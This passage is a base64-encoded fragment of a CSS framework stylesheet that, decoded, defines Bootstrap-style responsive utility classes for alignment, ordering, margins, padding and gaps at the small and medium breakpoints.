tc3RhcnQhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LXNtLWVuZHthbGlnbi1jb250ZW50OmZsZXgtZW5kIWltcG9ydGFudH0uYWxpZ24tY29udGVudC1zbS1jZW50ZXJ7YWxpZ24tY29udGVudDpjZW50ZXIhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LXNtLWJldHdlZW57YWxpZ24tY29udGVudDpzcGFjZS1iZXR3ZWVuIWltcG9ydGFudH0uYWxpZ24tY29udGVudC1zbS1hcm91bmR7YWxpZ24tY29udGVudDpzcGFjZS1hcm91bmQhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LXNtLXN0cmV0Y2h7YWxpZ24tY29udGVudDpzdHJldGNoIWltcG9ydGFudH0uYWxpZ24tc2VsZi1zbS1hdXRve2FsaWduLXNlbGY6YXV0byFpbXBvcnRhbnR9LmFsaWduLXNlbGYtc20tc3RhcnR7YWxpZ24tc2VsZjpmbGV4LXN0YXJ0IWltcG9ydGFudH0uYWxpZ24tc2VsZi1zbS1lbmR7YWxpZ24tc2VsZjpmbGV4LWVuZCFpbXBvcnRhbnR9LmFsaWduLXNlbGYtc20tY2VudGVye2FsaWduLXNlbGY6Y2VudGVyIWltcG9ydGFudH0uYWxpZ24tc2VsZi1zbS1iYXNlbGluZXthbGlnbi1zZWxmOmJhc2VsaW5lIWltcG9ydGFudH0uYWxpZ24tc2VsZi1zbS1zdHJldGNoe2FsaWduLXNlbGY6c3RyZXRjaCFpbXBvcnRhbnR9Lm9yZGVyLXNtLWZpcnN0e29yZGVyOi0xIWltcG9ydGFudH0ub3JkZXItc20tMHtvcmRlcjowIWltcG9ydGFudH0ub3JkZXItc20tMXtvcmRlcjoxIWltcG9ydGFudH0ub3JkZXItc20tMntvcmRlcjoyIWltcG9ydGFudH0ub3JkZXItc20tM3tvcmRlcjozIWltcG9ydGFudH0ub3JkZXItc20tNHtvcmRlcjo0IWltcG9ydGFudH0ub3JkZXItc20tNXtvcmRlcjo1IWltcG9ydGFudH0ub3JkZXItc20tbGFzdHtvcmRlcjo2IWltcG9ydGFudH0ubS1zbS0we21hcmdpbjowIWltcG9ydGFudH0ubS1zbS0xe21hcmdpbjouMjVyZW0haW1wb3J0YW50fS5tLXNtLTJ7bWFyZ2luOi41cmVtIWltcG9ydGFudH0ubS1zbS0ze21hcmdpbjoxcmVtIWltcG9ydGFudH0ubS1zbS00e21hcmdpbjoxLjVyZW0haW1wb3J0YW50fS5tLXNtLTV7bWFyZ2luOjNyZW0haW1wb3J0YW50fS5tLXNtLWF1dG97bWFyZ2luOmF1dG8haW1wb3J0YW50fS5teC1zbS0we21hcmdpbi1yaWdodDowIWltcG9ydGFudDttYXJnaW4tbGVmdDowIWltcG9ydGFudH0ubXgtc20tMXttYXJnaW4tcmlnaHQ6LjI1cmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDouMjVyZW0haW1wb3J0YW50fS5teC1zbS0ye21hcmdpbi1yaWdodDouNXJlbSFpbXBvcnRhbnQ7bWFyZ2luLWxlZnQ6LjVyZW0haW1wb3J0YW50fS5teC1zbS0ze21hcmdpbi1yaWdodDoxcmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDoxcmVtIWltcG9ydGFudH0ubXgtc20tNHttYXJnaW4tcmlnaHQ6MS41cmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDoxLjVyZW0haW1wb3J0YW50fS5teC1zbS01e21hcmdpbi1yaWdodDozcmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDozcmVtIWltcG9ydGFudH0ubXgtc20tYXV0b3ttYXJnaW4tcmlnaHQ6YXV0byFpbXBvcnRhbnQ7bWFyZ2luLWxlZnQ6YXV0byFpbXBvcnRhbnR9Lm15LXNtLTB7bWFyZ2luLXRvcDowIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjAhaW1wb3J0YW50fS5teS1zbS0xe21hcmdpbi10b3A6LjI1cmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOi4yNXJlbSFpbXBvcnRhbnR9Lm15LXNtLTJ7bWFyZ2luLXRvcDouNXJlbSFpbXBvcnRhbnQ7bWFyZ2luLWJvdHRvbTouNXJlbSFpbXBvcnRhbnR9Lm15LXNtLTN7bWFyZ2luLXRvcDoxcmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjFyZW0haW1wb3J0YW50fS5teS1zbS00e21hcmdpbi10b3A6MS41cmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjEuNXJlbSFpbXBvcnRhbnR9Lm15LXNtLTV7bWFyZ2luLXRvcDozcmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjNyZW0haW1wb3J0YW50fS5teS1zbS1hdXRve21hcmdpbi10b3A6YXV0byFpbXBvcnRhbnQ7bWFyZ2luLWJvdHRvbTphdXRvIWltcG9ydGFudH0ubXQtc20tMHttYXJnaW4tdG9wOjAhaW1wb3J0YW50fS5tdC1zbS0xe21hcmdpbi10b3A6LjI1cmVtIWltcG9ydGFudH0ubXQtc20tMnttYXJnaW4tdG9wOi41cmVtIWltcG9ydGFudH0ubXQtc20tM3ttYXJnaW4tdG9wOjFyZW0haW1wb3J0YW50fS5tdC1zbS00e21hcmdpbi10b3A6MS41cmVtIWltcG9ydGFudH0ubXQtc20tNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50fS5tdC1zbS1hdXRve21hcmdpbi10b3A6YXV0byFpbXBvcnRhbnR9Lm1lLXNtLTB7bWFyZ2luLXJpZ2h0OjAhaW1wb3J0YW50fS5tZS1zbS0xe21hcmdpbi1yaWdodDouMjVyZW0haW1wb3J0YW50fS5tZS1zbS0ye21hcmdpbi1yaWdodDouNXJlbSFpbXBvcnRhbnR9Lm1lLXNtLTN7bWFyZ2luLXJpZ2h0OjFyZW0haW1wb3J0YW50fS5tZS1zbS00e21hcmdpbi1yaWdodDoxLjVyZW0haW1wb3J0YW50fS5tZS1zbS01e21hcmdpbi1yaWdodDozcmVtIWltcG9ydGFudH0ubWUtc20tYXV0b3ttYXJnaW4tcmlnaHQ6YXV0byFpbXBvcnRhbnR9Lm1iLXNtLTB7bWFyZ2luLWJvdHRvbTowIWltcG9ydGFudH0ubWItc20tMXttYXJnaW4tYm90dG9tOi4yNXJlbSFpbXBvcnRhbnR9Lm1iLXNtLTJ7bWFyZ2luLWJvdHRvbTouNXJlbSFpbXBvcnRhbnR9Lm1iLXNtLTN7bWFyZ2luLWJvdHRvbToxcmVtIWltcG9ydGFudH0ubWItc20tNHttYXJnaW4tYm90dG9tOjEuNXJlbSFpbXBvcnRhbnR9Lm1iLXNtLTV7bWFyZ2luLWJvdHRvbTozcmVtIWltcG9ydGFudH0ubWItc20tYXV0b3ttYXJnaW4tYm90dG9tOmF1dG8haW1wb3J0YW50fS5tcy1zbS0we21hcmdpbi1sZWZ0OjAhaW1wb3J0YW50fS5tcy1zbS0xe21hcmdpbi1sZWZ0Oi4yNXJlbSFpbXBvcnRhbnR9Lm1zLXNtLTJ7bWFyZ2luLWxlZnQ6LjVyZW0haW1wb3J0YW50fS5tcy1zbS0ze21hcmdpbi1sZWZ0OjFyZW0haW1wb3J0YW50fS5tcy1zbS00e21hcmdpbi1sZWZ0OjEuNXJlbSFpbXBvcnRhbnR9Lm1zLXNtLTV7bWFyZ2luLWxlZnQ6M3JlbSFpbXBvcnRhbnR9Lm1zLXNtLWF1dG97bWFyZ2luLWxlZnQ6YXV0byFpbXBvcnRhbnR9LnAtc20tMHtwYWRkaW5nOjAhaW1wb3J0YW50fS5wLXNtLTF7cGFkZGluZzouMjVyZW0haW1wb3J0YW50fS5wLXNtLTJ7cGFkZGluZzouNXJlbSFpbXBvcnRhbnR9LnAtc20tM3twYWRkaW5nOjFyZW0haW1wb3J0YW50fS5wLXNtLTR7cGFkZGluZzoxLjVyZW0haW1wb3J0YW50fS5wLXNtLTV7cGFkZGluZzozcmVtIWltcG9ydGFudH0ucHgtc20tMHtwYWRkaW5nLXJpZ2h0OjAhaW1wb3J0YW50O3BhZGRpbmctbGVmdDowIWltcG9ydGFudH0ucHgtc20tMXtwYWRkaW5nLXJpZ2h0Oi4yNXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0Oi4yNXJlbSFpbXBvcnRhbnR9LnB4LXNtLTJ7cGFkZGluZy1yaWdodDouNXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0Oi41cmVtIWltcG9ydGFudH0ucHgtc20tM3twYWRkaW5nLXJpZ2h0OjFyZW0haW1wb3J0YW50O3BhZGRpbmctbGVmdDoxcmVtIWltcG9ydGFudH0ucHgtc20tNHtwYWRkaW5nLXJpZ2h0OjEuNXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0OjEuNXJlbSFpbXBvcnRhbnR9LnB4LXNtLTV7cGFkZGluZy1yaWdodDozcmVtIWltcG9ydGFudDtwYWRkaW5nLWxlZnQ6M3JlbSFpbXBvcnRhbnR9LnB5LXNtLTB7cGFkZGluZy10b3A6MCFpbXBvcnRhbnQ7cGFkZGluZy1ib3R0b206MCFpbXBvcnRhbnR9LnB5LXNtLTF7cGFkZGluZy10b3A6LjI1cmVtIWltcG9ydGFudDtwYWRkaW5nLWJvdHRvbTouMjVyZW0haW1wb3J0YW50fS5weS1zbS0ye3BhZGRpbmctdG9wOi41cmVtIWltcG9ydGFudDtwYWRkaW5nLWJvdHRvbTouNXJlbSFpbXBvcnRhbnR9LnB5LXNtLTN7cGFkZGluZy10b3A6MXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1ib3R0b206MXJlbSFpbXBvcnRhbnR9LnB5LXNtLTR7cGFkZGluZy10b3A6MS41cmVtIWltcG9ydGFudDtwYWRkaW5nLWJvdHRvbToxLjVyZW0haW1wb3J0YW50fS5weS1zbS01e3BhZGRpbmctdG9wOjNyZW0haW1wb3J0YW50O3BhZGRpbmctYm90dG9tOjNyZW0haW1wb3J0YW50fS5wdC1zbS0we3BhZGRpbmctdG9wOjAhaW1wb3J0YW50fS5wdC1zbS0xe3BhZGRpbmctdG9wOi4yNXJlbSFpbXBvcnRhbnR9LnB0LXNtLTJ7cGFkZGluZy10b3A6LjVyZW0haW1wb3J0YW50fS5wdC1zbS0ze3BhZGRpbmctdG9wOjFyZW0haW1wb3J0YW50fS5wdC1zbS00e3BhZGRpbmctdG9wOjEuNXJlbSFpbXBvcnRhbnR9LnB0LXNtLTV7cGFkZGluZy10b3A6M3JlbSFpbXBvcnRhbnR9LnBlLXNtLTB7cGFkZGluZy1yaWdodDowIWltcG9ydGFudH0ucGUtc20tMXtwYWRkaW5nLXJpZ2h0Oi4yNXJlbSFpbXBvcnRhbnR9LnBlLXNtLTJ7cGFkZGluZy1yaWdodDouNXJlbSFpbXBvcnRhbnR9LnBlLXNtLTN7cGFkZGluZy1yaWdodDoxcmVtIWltcG9ydGFudH0ucGUtc20tNHtwYWRkaW5nLXJpZ2h0OjEuNXJlbSFpbXBvcnRhbnR9LnBlLXNtLTV7cGFkZGluZy1yaWdodDozcmVtIWltcG9ydGFudH0ucGItc20tMHtwYWRkaW5nLWJvdHRvbTowIWltcG9ydGFudH0ucGItc20tMXtwYWRkaW5nLWJvdHRvbTouMjVyZW0haW1wb3J0YW50fS5wYi1zbS0ye3BhZGRpbmctYm90dG9tOi41cmVtIWltcG9ydGFudH0ucGItc20tM3twYWRkaW5nLWJvdHRvbToxcmVtIWltcG9ydGFudH0ucGItc20tNHtwYWRkaW5nLWJvdHRvbToxLjVyZW0haW1wb3J0YW50fS5wYi1zbS01e3BhZGRpbmctYm90dG9tOjNyZW0haW1wb3J0YW50fS5wcy1zbS0we3BhZGRpbmctbGVmdDowIWltcG9ydGFudH0ucHMtc20tMXtwYWRkaW5nLWxlZnQ6LjI1cmVtIWltcG9ydGFudH0ucHMtc20tMntwYWRkaW5nLWxlZnQ6LjVyZW0haW1wb3J0YW50fS5wcy1zbS0ze3BhZGRpbmctbGVmdDoxcmVtIWltcG9ydGFudH0ucHMtc20tNHtwYWRkaW5nLWxlZnQ6MS41cmVtIWltcG9ydGFudH0ucHMtc20tNXtwYWRkaW5nLWxlZnQ6M3JlbSFpbXBvcnRhbnR9LmdhcC1zbS0we2dhcDowIWltcG9ydGFudH0uZ2FwLXNtLTF7Z2FwOi4yNXJlbSFpbXBvcnRhbnR9LmdhcC1zbS0ye2dhcDouNXJlbSFpbXBvcnRhbnR9LmdhcC1zbS0ze2dhcDoxcmVtIWltcG9ydGFudH0uZ2FwLXNtLTR7Z2FwOjEuNXJlbSFpbXBvcnRhbnR9LmdhcC1zbS01e2dhcDozcmVtIWltcG9ydGFudH0udGV4dC1zbS1zdGFydHt0ZXh0LWFsaWduOmxlZnQhaW1wb3J0YW50fS50ZXh0LXNtLWVuZHt0ZXh0LWFsaWduOnJpZ2h0IWltcG9ydGFudH0udGV4dC1zbS1jZW50ZXJ7dGV4dC1hbGlnbjpjZW50ZXIhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7LmZsb2F0LW1kLXN0YXJ0e2Zsb2F0OmxlZnQhaW1wb3J0YW50fS5mbG9hdC1tZC1lbmR7ZmxvYXQ6cmlnaHQhaW1wb3J0YW50fS5mbG9hdC1tZC1ub25le2Zsb2F0Om5vbmUhaW1wb3J0YW50fS5kLW1kLWlubGluZXtkaXNwbGF5OmlubGluZSFpbXBvcnRhbnR9LmQtbWQtaW5saW5lLWJsb2Nre2Rpc3BsYXk6aW5saW5lLWJsb2NrIWltcG9ydGFudH0uZC1tZC1ibG9ja3tkaXNwbGF5OmJsb2NrIWltcG9ydGFudH0uZC1tZC1ncmlke2Rpc3BsYXk6Z3JpZCFpbXBvcnRhbnR9LmQtbWQtdGFibGV7ZGlzcGxheTp0YWJsZSFpbXBvcnRhbnR9LmQtbWQtdGFibGUtcm93e2Rpc3BsYXk6dGFibGUtcm93IWltcG9ydGFudH0uZC1tZC10YWJsZS1jZWxse2Rpc3BsYXk6dGFibGUtY2VsbCFpbXBvcnRhbnR9LmQtbWQtZmxleHtkaXNwbGF5OmZsZXghaW1wb3J0YW50fS5kLW1kLWlubGluZS1mbGV4e2Rpc3BsYXk6aW5saW5lLWZsZXghaW1wb3J0YW50fS5kLW1kLW5vbmV7ZGlzcGxheTpub25lIWltcG9ydGFudH0uZmxleC1tZC1maWxse2ZsZXg6MSAxIGF1dG8haW1wb3J0YW50fS5mbGV4LW1kLXJvd3tmbGV4LWRpcmVjdGlvbjpyb3chaW1wb3J0YW50fS5mbGV4LW1kLWNvbHVtbntmbGV4LWRpcmVjdGlvbjpjb2x1bW4haW1wb3J0YW50fS5mbGV4LW1kLXJvdy1yZXZlcnNle2ZsZXgtZGlyZWN0aW9uOnJvdy1yZXZlcnNlIWltcG9ydGFudH0uZmxleC1tZC1jb2x1bW4tcmV2ZXJzZXtmbGV4LWRpcmVjdGlvbjpjb2x1bW4tcmV2ZXJzZSFpbXBvcnRhbnR9LmZsZXgtbWQtZ3Jvdy0we2ZsZXgtZ3JvdzowIWltcG9ydGFudH0uZmxleC1tZC1ncm93LTF7ZmxleC1ncm93OjEhaW1wb3J0YW50fS5mbGV4LW1kLXNocmluay0we2ZsZXgtc2hyaW5rOjAhaW1wb3J0YW50fS5mbGV4LW1kLXNocmluay0xe2ZsZXgtc2hyaW5rOjEhaW1wb3J0YW50fS5mbGV4LW1kLXdyYXB7ZmxleC13cmFwOndyYXAhaW1wb3J0YW50fS5mbGV4LW1kLW5vd3JhcHtmbGV4LXdyYXA6bm93cmFwIWltcG9ydGFudH0uZmxleC1tZC13cmFwLXJldmVyc2V7ZmxleC13cmFwOndyYXAtcmV2ZXJzZSFpbXBvcnRhbnR9Lmp1c3RpZnktY29udGVudC1tZC1zdGFydHtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1zdGFydCFpbXBvcnRhbnR9Lmp1c3RpZnktY29udGVudC1tZC1lbmR7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kIWltcG9ydGFudH0uanVzdGlmeS1jb250ZW50LW1kLWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudH0uanVzdGlmeS1jb250ZW50LW1kLWJldHdlZW57anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW4haW1wb3J0YW50fS5qdXN0aWZ5LWNvbnRlbnQtbWQtYXJvdW5ke2p1c3RpZnktY29udGVudDpzcGFjZS1hcm91bmQhaW1wb3J0YW50fS5qdXN0aWZ5LWNvbnRlbnQtbWQtZXZlbmx5e2p1c3RpZnktY29udGVudDpzcGFjZS1ldmVubHkhaW1wb3J0YW50fS5hbGlnbi1pdGVtcy1tZC1zdGFydHthbGlnbi1pdGVtczpmbGV4LXN0YXJ0IWltcG9ydGFudH0uYWxpZ24taXRlbXMtbWQtZW5ke2FsaWduLWl0ZW1zOmZsZXgtZW5kIWltcG9ydGFudH0uYWxpZ24taXRlbXMtbWQtY2VudGVye2FsaWduLWl0ZW1zOmNlbnRlciFpbXBvcnRhbnR9LmFsaWduLWl0ZW1zLW1kLWJhc2VsaW5le2FsaWduLWl0ZW1zOmJhc2VsaW5lIWltcG9ydGFudH0uYWxpZ24taXRlbXMtbWQtc3RyZXRjaHthbGlnbi1pdGVtczpzdHJldGNoIWltcG9ydGFudH0uYWxpZ24tY29udGVudC1tZC1zdGFydHthbGlnbi1jb250ZW50OmZsZXgtc3RhcnQhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LW1kLWVuZHthbGlnbi1jb250ZW50OmZsZXgtZW5kIWltcG9ydGFudH0uYWxpZ24tY29udGVudC1tZC1jZW50ZXJ7YWxpZ24tY29udGVudDpjZW50ZXIhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LW1kLWJldHdlZW57YWxpZ24tY29udGVudDpzcGFjZS1iZXR3ZWVuIWltcG9ydGFudH0uYWxpZ24tY29udGVudC1tZC1hcm91bmR7YWxpZ24tY29udGVudDpzcGFjZS1hcm91bmQhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LW1kLXN0cmV0Y2h7YWxpZ24tY29udGVudDpzdHJldGNoIWltcG9ydGFudH0uYWxpZ24tc2VsZi1tZC1hdXRve2FsaWduLXNlbGY6YXV0byFpbXBvcnRhbnR9LmFsaWduLXNlbGYtbWQtc3RhcnR7YWxpZ24tc2VsZjpmbGV4LXN0YXJ0IWltcG9ydGFudH0uYWxpZ24tc2VsZi1tZC1lbmR7YWxpZ24tc2VsZjpmbGV4LWVuZCFpbXBvcnRhbnR9LmFsaWduLXNlbGYtbWQtY2VudGVye2FsaWduLXNlbGY6Y2VudGVyIWltcG9ydGFudH0uYWxpZ24tc2VsZi1tZC1iYXNlbGluZXthbGlnbi1zZWxmOmJhc2VsaW5lIWltcG9ydGFudH0uYWxpZ24tc2VsZi1tZC1zdHJldGNoe2FsaWduLXNlbGY6c3RyZXRjaCFpbXBvcnRhbnR9Lm9yZGVyLW1kLWZpcnN0e29yZGVyOi0xIWltcG9ydGFudH0ub3JkZXItbWQtMHtvcmRlcjowIWltcG9ydGFudH0ub3JkZXItbWQtMXtvcmRlcjoxIWltcG9ydGFudH0ub3JkZXItbWQtMntvcmRlcjoyIWltcG9ydGFudH0ub3JkZXItbWQtM3tvcmRlcjozIWltcG9ydGFudH0ub3JkZXItbWQtNHtvcmRlcjo0IWltcG9ydGFudH0ub3JkZXItbWQtNXtvcmRlcjo1IWltcG9ydGFudH0ub3JkZXItbWQtbGFzdHtvcmRlcjo2IWltcG9ydGFudH0ubS1tZC0we21hcmdpbjowIWltcG9ydGFudH0ubS1tZC0xe21hcmdpbjouMjVyZW0haW1wb3J0YW50fS5tLW1kLTJ7bWFyZ2luOi41cmVtIWltcG9ydGFudH0ubS1tZC0ze21hcmdpbjoxcmVtIWltcG9ydGFudH0ubS1tZC00e21hcmdpbjoxLjVyZW0haW1wb3J0YW50fS5tLW1kLTV7bWFyZ2luOjNyZW0haW1wb3J0YW50fS5tLW1kLWF1dG97bWFyZ2luOmF1dG8haW1wb3J0YW50fS5teC1tZC0we21hcmdpbi1yaWdodDowIWltcG9ydGFudDttYXJnaW4tbGVmdDowIWltcG9ydGFudH0ubXgtbWQtMXttYXJnaW4tcmlnaHQ6LjI1cmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDouMjVyZW0haW1wb3J0YW50fS5teC1tZC0ye21hcmdpbi1yaWdodDouNXJlbSFpbXBvcnRhbnQ7bWFyZ2luLWxlZnQ6LjVyZW0haW1wb3J0YW50fS5teC1tZC0ze21hcmdpbi1yaWdodDoxcmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDoxcmVtIWltcG9ydGFudH0ubXgtbWQtNHttYXJnaW4tcmlnaHQ6MS41cmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDoxLjVyZW0haW1wb3J0YW50fS5teC1tZC01e21hcmdpbi1yaWdodDozcmVtIWltcG9ydGFudDttYXJnaW4tbGVmdDozcmVtIWltcG9ydGFudH0ubXgtbWQtYXV0b3ttYXJnaW4tcmlnaHQ6YXV0byFpbXBvcnRhbnQ7bWFyZ2luLWxlZnQ6YXV0byFpbXBvcnRhbnR9Lm15LW1kLTB7bWFyZ2luLXRvcDowIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjAhaW1wb3J0YW50fS5teS1tZC0xe21hcmdpbi10b3A6LjI1cmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOi4yNXJlbSFpbXBvcnRhbnR9Lm15LW1kLTJ7bWFyZ2luLXRvcDouNXJlbSFpbXBvcnRhbnQ7bWFyZ2luLWJvdHRvbTouNXJlbSFpbXBvcnRhbnR9Lm15LW1kLTN7bWFyZ2luLXRvcDoxcmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjFyZW0haW1wb3J0YW50fS5teS1tZC00e21hcmdpbi10b3A6MS41cmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjEuNXJlbSFpbXBvcnRhbnR9Lm15LW1kLTV7bWFyZ2luLXRvcDozcmVtIWltcG9ydGFudDttYXJnaW4tYm90dG9tOjNyZW0haW1wb3J0YW50fS5teS1tZC1hdXRve21hcmdpbi10b3A6YXV0byFpbXBvcnRhbnQ7bWFyZ2luLWJvdHRvbTphdXRvIWltcG9ydGFudH0ubXQtbWQtMHttYXJnaW4tdG9wOjAhaW1wb3J0YW50fS5tdC1tZC0xe21hcmdpbi10b3A6LjI1cmVtIWltcG9ydGFudH0ubXQtbWQtMnttYXJnaW4tdG9wOi41cmVtIWltcG9ydGFudH0ubXQtbWQtM3ttYXJnaW4tdG9wOjFyZW0haW1wb3J0YW50fS5tdC1tZC00e21hcmdpbi10b3A6MS41cmVtIWltcG9ydGFudH0ubXQtbWQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50fS5tdC1tZC1hdXRve21hcmdpbi10b3A6YXV0byFpbXBvcnRhbnR9Lm1lLW1kLTB7bWFyZ2luLXJpZ2h0OjAhaW1wb3J0YW50fS5tZS1tZC0xe21hcmdpbi1yaWdodDouMjVyZW0haW1wb3J0YW50fS5tZS1tZC0ye21hcmdpbi1yaWdodDouNXJlbSFpbXBvcnRhbnR9Lm1lLW1kLTN7bWFyZ2luLXJpZ2h0OjFyZW0haW1wb3J0YW50fS5tZS1tZC00e21hcmdpbi1yaWdodDoxLjVyZW0haW1wb3J0YW50fS5tZS1tZC01e21hcmdpbi1yaWdodDozcmVtIWltcG9ydGFudH0ubWUtbWQtYXV0b3ttYXJnaW4tcmlnaHQ6YXV0byFpbXBvcnRhbnR9Lm1iLW1kLTB7bWFyZ2luLWJvdHRvbTowIWltcG9ydGFudH0ubWItbWQtMXttYXJnaW4tYm90dG9tOi4yNXJlbSFpbXBvcnRhbnR9Lm1iLW1kLTJ7bWFyZ2luLWJvdHRvbTouNXJlbSFpbXBvcnRhbnR9Lm1iLW1kLTN7bWFyZ2luLWJvdHRvbToxcmVtIWltcG9ydGFudH0ubWItbWQtNHttYXJnaW4tYm90dG9tOjEuNXJlbSFpbXBvcnRhbnR9Lm1iLW1kLTV7bWFyZ2luLWJvdHRvbTozcmVtIWltcG9ydGFudH0ubWItbWQtYXV0b3ttYXJnaW4tYm90dG9tOmF1dG8haW1wb3J0YW50fS5tcy1tZC0we21hcmdpbi1sZWZ0OjAhaW1wb3J0YW50fS5tcy1tZC0xe21hcmdpbi1sZWZ0Oi4yNXJlbSFpbXBvcnRhbnR9Lm1zLW1kLTJ7bWFyZ2luLWxlZnQ6LjVyZW0haW1wb3J0YW50fS5tcy1tZC0ze21hcmdpbi1sZWZ0OjFyZW0haW1wb3J0YW50fS5tcy1tZC00e21hcmdpbi1sZWZ0OjEuNXJlbSFpbXBvcnRhbnR9Lm1zLW1kLTV7bWFyZ2luLWxlZnQ6M3JlbSFpbXBvcnRhbnR9Lm1zLW1kLWF1dG97bWFyZ2luLWxlZnQ6YXV0byFpbXBvcnRhbnR9LnAtbWQtMHtwYWRkaW5nOjAhaW1wb3J0YW50fS5wLW1kLTF7cGFkZGluZzouMjVyZW0haW1wb3J0YW50fS5wLW1kLTJ7cGFkZGluZzouNXJlbSFpbXBvcnRhbnR9LnAtbWQtM3twYWRkaW5nOjFyZW0haW1wb3J0YW50fS5wLW1kLTR7cGFkZGluZzoxLjVyZW0haW1wb3J0YW50fS5wLW1kLTV7cGFkZGluZzozcmVtIWltcG9ydGFudH0ucHgtbWQtMHtwYWRkaW5nLXJpZ2h0OjAhaW1wb3J0YW50O3BhZGRpbmctbGVmdDowIWltcG9ydGFudH0ucHgtbWQtMXtwYWRkaW5nLXJpZ2h0Oi4yNXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0Oi4yNXJlbSFpbXBvcnRhbnR9LnB4LW1kLTJ7cGFkZGluZy1yaWdodDouNXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0Oi41cmVtIWltcG9ydGFudH0ucHgtbWQtM3twYWRkaW5nLXJpZ2h0OjFyZW0haW1wb3J0YW50O3BhZGRpbmctbGVmdDoxcmVtIWltcG9ydGFudH0ucHgtbWQtNHtwYWRkaW5nLXJpZ2h0OjEuNXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1sZWZ0OjEuNXJlbSFpbXBvcnRhbnR9LnB4LW1kLTV7cGFkZGluZy1yaWdodDozcmVtIWltcG9ydGFudDtwYWRkaW5nLWxlZnQ6M3JlbSFpbXBvcnRhbnR9LnB5LW1kLTB7cGFkZGluZy10b3A6MCFpbXBvcnRhbnQ7cGFkZGluZy1ib3R0b206MCFpbXBvcnRhbnR9LnB5LW1kLTF7cGFkZGluZy10b3A6LjI1cmVtIWltcG9ydGFudDtwYWRkaW5nLWJvdHRvbTouMjVyZW0haW1wb3J0YW50fS5weS1tZC0ye3BhZGRpbmctdG9wOi41cmVtIWltcG9ydGFudDtwYWRkaW5nLWJvdHRvbTouNXJlbSFpbXBvcnRhbnR9LnB5LW1kLTN7cGFkZGluZy10b3A6MXJlbSFpbXBvcnRhbnQ7cGFkZGluZy1ib3R0b206MXJlbSFpbXBvcnRhbnR9LnB5LW1kLTR7cGFkZGluZy10b3A6MS41cmVtIWltcG9ydGFudDtwYWRkaW5nLWJvdHRvbToxLjVyZW0haW1wb3J0YW50fS5weS1tZC01e3BhZGRpbmctdG9wOjNyZW0haW1wb3J0YW50O3BhZGRpbmctYm90dG9tOjNyZW0haW1wb3J0YW50fS5wdC1tZC0we3BhZGRpbmctdG9wOjAhaW1wb3J0YW50fS5wdC1tZC0xe3BhZGRpbmctdG9wOi4yNXJlbSFpbXBvcnRhbnR9LnB0LW1kLTJ7cGFkZGluZy10b3A6LjVyZW0haW1wb3J0YW50fS5wdC1tZC0ze3BhZGRpbmctdG9wOjFyZW0haW1wb3J0YW50fS5wdC1tZC00e3BhZGRpbmctdG9wOjEuNXJlbSFpbXBvcnRhbnR9LnB0LW1kLTV7cGFkZGluZy10b3A6M3JlbSFpbXBvcnRhbnR9LnBlLW1kLTB7cGFkZGluZy1yaWdodDowIWltcG9ydGFudH0ucGUtbWQtMXtwYWRkaW5nLXJpZ2h0Oi4yNXJlbSFpbXBvcnRhbnR9LnBlLW1kLTJ7cGFkZGluZy1yaWdodDouNXJlbSFpbXBvcnRhbnR9LnBlLW1kLTN7cGFkZGluZy1yaWdodDoxcmVtIWltcG9ydGFudH0ucGUtbWQtNHtwYWRkaW5nLXJpZ2h0OjEuNXJlbSFpbXBvcnRhbnR9LnBlLW1kLTV7cGFkZGluZy1yaWdodDozcmVtIWltcG9ydGFudH0ucGItbWQtMHtwYWRkaW5nLWJvdHRvbTowIWltcG9ydGFudH0ucGItbWQtMXtwYWRkaW5nLWJvdHRvbTouMjVyZW0haW1wb3J0YW50fS5wYi1tZC0ye3BhZGRpbmctYm90dG9tOi41cmVtIWltcG9ydGFudH0ucGItbWQtM3twYWRkaW5nLWJvdHRvbToxcmVtIWltcG9ydGFudH0ucGItbWQtNHtwYWRkaW5nLWJvdHRvbToxLjVyZW0haW1wb3J0YW50fS5wYi1tZC01e3BhZGRpbmctYm90dG9tOjNyZW0haW1wb3J0YW50fS5wcy1tZC0we3BhZGRpbmctbGVmdDowIWltcG9ydGFudH0ucHMtbWQtMXtwYWRkaW5nLWxlZnQ6LjI1cmVtIWltcG9ydGFudH0ucHMtbWQtMntwYWRkaW5nLWxlZnQ6LjVyZW0haW1wb3J0YW50fS5wcy1tZC0ze3BhZGRpbmctbGVmdDoxcmVtIWltcG9ydGFudH0ucHMtbWQtNHtwYWRkaW5nLWxlZnQ6MS41cmVtIWltcG9ydGFudH0ucHMtbWQtNXtwYWRkaW5nLWxlZnQ6M3JlbSFpbXBvcnRhbnR9LmdhcC1tZC0we2dhcDowIWltcG9yd